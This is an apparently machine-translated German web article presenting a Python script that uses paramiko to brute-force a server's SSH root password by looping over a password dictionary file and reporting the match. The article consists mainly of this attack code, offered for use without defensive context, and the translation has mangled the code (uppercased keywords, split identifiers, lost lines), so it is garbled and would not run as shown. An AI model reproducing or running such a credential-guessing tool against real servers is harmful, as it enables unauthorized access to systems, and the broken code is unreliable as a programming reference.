Heim  >  Artikel  >  Backend-Entwicklung  >  Verwenden Sie Python, um den Root-Passwort-Beispielcode mit Brute-Force zu knacken

Verwenden Sie Python, um den Root-Passwort-Beispielcode mit Brute-Force zu knacken

高洛峰
高洛峰Original
2017-03-22 10:42:312740Durchsuche

Umgebungsvorbereitung:

1. Installieren Sie das paramiko-Modul

2. Öffnen Sie Port 22 für den Server-SSH-Dienst

Bitte beachten Sie den Code unten

#!/usr/bin/py

#-*- Kodierung: utf-8 -*-

import paramiko

ssh = paramiko .SSHClient( ) #Instantiation class

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #Die automatische Antwort beim Herstellen einer Verbindung lautet „Ja“

d = file('/root/a.txt') #Dictionary file path

for i in d.xreadlines( ):      # LoopPassword Dictionary

i = i.strip() #Entfernen Sie die Leerzeichen vor und nach

if not i: #Enter wenn der Wert leer ist. Die nächste Runde der Schleife

                                                                                                                                                               , PORT = 22, Benutzername = 'ROOT', PASSW ORD = i)

🎜> DRUCKEN

'ROOT Passwort ist', i #Wenn das Passwort korrekt ist, ist das Passwort

                                                                                                                                                                                     Aus der Schleife ausbrechen :

print 'Das Root-Passwort wurde nicht geknackt, bitte ändern Sie das Wörterbuch und Versuchen Sie es erneut' #Wenn kein Passwort übereinstimmt

Das obige ist der detaillierte Inhalt vonVerwenden Sie Python, um den Root-Passwort-Beispielcode mit Brute-Force zu knacken. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn